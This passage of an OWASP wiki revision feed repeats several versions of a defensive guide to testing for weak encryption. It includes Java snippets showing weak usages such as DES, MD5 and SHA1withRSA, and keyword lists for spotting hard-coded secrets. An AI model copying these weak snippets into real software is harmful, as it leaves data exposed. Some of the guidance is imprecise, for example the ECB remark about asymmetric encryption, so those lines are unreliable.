* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. For example, &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For RSA encryption, the following padding mode are suggested.&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot;, it's not allowed to be used in padding.&lt;br /&gt;
&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
Tony Hsu - hsiang_chih[at]yahoo.com&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229455</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229455"/>
				<updated>2017-05-08T07:12:39Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption. &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
 MD4, MD5, RC4, RC2, DES, Blowfish, SHA-1, ECB&lt;br /&gt;
&lt;br /&gt;
* For Java implementation, the following API is related to encyprtion. Review the parameters of the encryption implementation. For example, &lt;br /&gt;
&lt;br /&gt;
 SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, Provider provider, String algorithm)&lt;br /&gt;
 SecretKeySpec(byte[] key, int offset, int len, String algorithm)&lt;br /&gt;
 Cipher c = Cipher.getInstance(&amp;quot;DES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* For RSA encryption, the following padding mode are suggested.&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)&lt;br /&gt;
 RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;ECB&amp;quot;, it's not allowed to be used in padding.&lt;br /&gt;
&lt;br /&gt;
* Review if different IV (initial Vector) is used.&lt;br /&gt;
 // Use a different IV value for every encryption&lt;br /&gt;
 byte[] newIv = ...;&lt;br /&gt;
 s = new GCMParameterSpec(s.getTLen(), newIv);&lt;br /&gt;
 cipher.init(..., s);&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;IvParameterSpec&amp;quot;, check if the IV value is generated differently and randomly.&lt;br /&gt;
&lt;br /&gt;
  IvParameterSpec iv = new IvParameterSpec(randBytes);&lt;br /&gt;
  SecretKeySpec skey = new SecretKeySpec(key.getBytes(), &amp;quot;AES&amp;quot;);&lt;br /&gt;
  Cipher cipher = Cipher.getInstance(&amp;quot;AES/CBC/PKCS5Padding&amp;quot;);&lt;br /&gt;
  cipher.init(Cipher.ENCRYPT_MODE, skey, iv);&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
* In Java, search for MessageDigest to check if weak hash althorithm (MD5 or CRC) is used. For example:&lt;br /&gt;
&lt;br /&gt;
 MessageDigest md5 = MessageDigest.getInstance(&amp;quot;MD5&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* For signature, SHA1 and MD5 should not be used. For example:&lt;br /&gt;
 Signature sig = Signature.getInstance(&amp;quot;SHA1withRSA&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;quot;PBKDF2&amp;quot;. To generate the hash value of password, PBKDF2 is suggested to be used. Review the parameters to generate the PBKDF2 has value.&lt;br /&gt;
The iterations should be over 10000, and the salt value should be generated as random value.&lt;br /&gt;
&lt;br /&gt;
 private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)&lt;br /&gt;
     throws NoSuchAlgorithmException, InvalidKeySpecException&lt;br /&gt;
   {&lt;br /&gt;
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, bytes * 8);&lt;br /&gt;
        SecretKeyFactory skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM);&lt;br /&gt;
        return skf.generateSecret(spec).getEncoded();&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
* Hard-coded senstive information&lt;br /&gt;
 User related keywords: name, root, su, superuser, login, username, uid&lt;br /&gt;
 Key related keywords: public key, AK, SK, secret Key,  private key, passwd, password, pwd, share key, cryto, base64&lt;br /&gt;
 Other common senstive keywords: sysadmin, root, privilege, pass, key, code, master, admin, uname, session, joken, Oauth, priviatekey&lt;br /&gt;
 &lt;br /&gt;
== Tools ==&lt;br /&gt;
* Vulnerability scanner such as Nessus to scan weak encryption used in protocol such as SNMP, TLS,SSH&lt;br /&gt;
* Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark for the following cases.&lt;br /&gt;
 CWE-261: Weak Cryptography for Passwords&lt;br /&gt;
 CWE-323: Reusing a Nonce, Key Pair in Encryption.&lt;br /&gt;
 CWE-326: Inadequate Encryption Strength&lt;br /&gt;
 CWE-327: Use of a Broken or Risky Cryptographic Algorithm&lt;br /&gt;
 CWE-328: Reversible One-Way Hash&lt;br /&gt;
 CWE-329: Not Using a Random IV with CBC Mode&lt;br /&gt;
 CWE-330: Use of Insufficiently Random Values&lt;br /&gt;
 CWE-347: Improper Verification of Cryptographic Signature&lt;br /&gt;
 CWE-354: Improper Validation of Integrity Check Value&lt;br /&gt;
 CWE-547: Use of Hard-coded, Security-relevant Constants&lt;br /&gt;
 CWE-780 Use of RSA Algorithm without OAEP&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;br /&gt;
* https://docs.oracle.com/javase/8/docs/api/javax/crypto/Cipher.html&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229454</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229454"/>
				<updated>2017-05-08T06:22:47Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* Basic Security Checklist */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption. &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* When the uses of AES128 and AES256, The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, DES, Blowfish, SHA1. 1024-bit RSA or DSA, 160-bit ECDSA (elliptic curves), 80/112-bit 2TDEA (two key triple DES)&lt;br /&gt;
* Minimum Key length requirement:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
* When symmetric encryption algorithm is used, ECB (Electronic Code Book) mode should not be used.&lt;br /&gt;
* When PBKDF2 is used to hash password, the parameter of iteration is recommended to be over 10000.  [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5 NIST] also suggests at least 10,000 iterations of the hash function. In addition, MD5 hash function is forbidden to be used with PBKDF2 such as PBKDF2WithHmacMD5.&lt;br /&gt;
&lt;br /&gt;
=== Source Code Review ===&lt;br /&gt;
* Search for the following keyword to check if any weak encryption algorithm is used.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC61-J.+Do+not+use+insecure+or+weak+cryptographic+algorithms&lt;br /&gt;
* [[Insecure Randomness]]&lt;br /&gt;
* [[Insufficient Entropy]]&lt;br /&gt;
* [[Insufficient Session-ID Length]]&lt;br /&gt;
* [[Use of hard-coded cryptographic key]]&lt;br /&gt;
* [[Using a broken or risky cryptographic algorithm]]&lt;br /&gt;
* [[Testing for SSL-TLS (OWASP-CM-001)]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229452</id>
		<title>Testing for Weak Encryption (OTG-CRYPST-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_Encryption_(OTG-CRYPST-004)&amp;diff=229452"/>
				<updated>2017-05-08T01:33:18Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Incorrect uses of encryption algorithm may result in sensitive data exposure, key leakage, broken authentication, insecure session and spoofing attack. There are some encryption or hash algorithm is known to be weak and not suggested to be used anymore such MD5 and RC4. &lt;br /&gt;
&lt;br /&gt;
In addition to the right choices of secure encryption or hash algorithm, the right uses of parameters also mater the security level. For example, ECB (Electronic Code Book) mode is not suggested to be used in asymmetric encryption. &lt;br /&gt;
&lt;br /&gt;
The testing guide is trying to provide a guideline how to identify the weak encryption and hash.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Basic Security Checklist ===&lt;br /&gt;
* The IV (Initialization vector) must be random and unpredictable. Refer to ''[http://csrc.nist.gov/cryptval/140-2.htm FIPS 140-2, Security Requirements for Cryptographic Modules]'', section 4.9.1. random number generator tests. For example, in Java, &amp;quot;java.util.Random&amp;quot; is considered a weak random number generator. &amp;quot;java.security.SecureRandom&amp;quot; should be used instead of &amp;quot;java.util.Random&amp;quot;.&lt;br /&gt;
* When uses of RSA in encryption, Optimal Asymmetric Encryption Padding (OAEP) mode is recommended.&lt;br /&gt;
* When uses of RSA in signature, PSS padding is recommended. &lt;br /&gt;
* Weak hash/encryption algorithms should not be used such MD5, RC4, SHA1.&lt;br /&gt;
* Minium Key length requirment:&lt;br /&gt;
 Key exchange: Diffie–Hellman key exchange with minimum 2048 bits&lt;br /&gt;
 Message Integrity: HMAC-SHA2&lt;br /&gt;
 Message Hash: SHA2 256 bits&lt;br /&gt;
 Assymetric encryption: RSA 2048 bits&lt;br /&gt;
 Symmetric-key algorithm: AES 128 bits&lt;br /&gt;
 Password Hashing: PBKDF2, Scrypt, Bcrypt&lt;br /&gt;
 ECDH、ECDSA: 256 bits&lt;br /&gt;
* Uses of SSH, CBC mode should not be used.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* NIST FIPS http://csrc.nist.gov/publications/PubsFIPS.html&lt;br /&gt;
* IV https://en.wikipedia.org/wiki/Initialization_vector&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/display/java/MSC02-J.+Generate+strong+random+numbers&lt;br /&gt;
* OAEP http://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding&lt;br /&gt;
* [[Cryptographic Storage Cheat Sheet]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	</feed>